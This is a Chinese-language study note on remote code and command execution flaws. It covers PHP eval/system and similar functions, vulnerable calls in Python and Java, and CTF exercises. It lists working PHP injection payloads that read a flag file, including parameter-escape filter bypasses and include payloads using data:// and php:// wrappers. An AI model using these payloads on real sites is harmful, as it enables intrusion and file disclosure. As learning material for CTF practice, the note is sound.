RCE漏洞
RCE漏洞
RCE代码执行 //eval(‘phpinfo()’) 解析代码
命令执行 // system(‘ver’) 调用系统命令
eval是Python的一个内置函数,功能十分强大,这个函数的作用是,返回传入字符串的表达式的结果。就是说:将字符串当成有效的表达式 来求值 并 返回计算结果。
eval(expression[, globals[, locals]])
expression : 表达式。
globals : (可选参数)变量作用域,全局命名空间,如果被提供,则必须是一个字典对象。
locals : (可选参数)变量作用域,局部命名空间,如果被提供,可以是任何映射对象。
存在场景
存在一些功能,在应用功能中
需要调用脚本代码或者系统命令执行
web,中间件,操作系统,框架都存在
危害,直接执行命令或代码
可以写入后门…
黑盒漏洞难以发现
漏洞函数
1.PHP:
eval()、assert()、preg_replace()、call_user_func()、
call_user_func_array()以及 array_map()等
system、shell_exec、popen、passthru、proc_open 等
?a =echo shell_exec('ls')
?a=echo shell_exec('tac fla*')
2.Python:
eval exec subprocess os.system commands
3.Java:
Java 中没有类似 php 中 eval 函数这种直接可以将字符串转化为代码执行的函数,
但是有反射机制,并且有各种基于反射机制的表达式引擎,如: OGNL、SpEL、MVEL
等.
CTF
源码中存在eval($a)
system(‘ls’)
命令执行:
? a = system(‘tac fla*.php’)
代码执行
? a = phpinfo()
有过滤:
参数逃逸: 绕过过滤参数eval($_GET[1]);&1=system('tac flag.php');
32~36-配合包含&伪协议
include$_GET[a]?>&a=data://text/plain,<?=system('tac flag.php');?>
include$_GET[a]?>&a=php://filter/read=convert.base64- encode/resource=flag.php
37~39-包含&伪协议&通配符
data://text/plain,<?=system('tac fla*');?>
php://input post:<?php system('tac flag.php');?>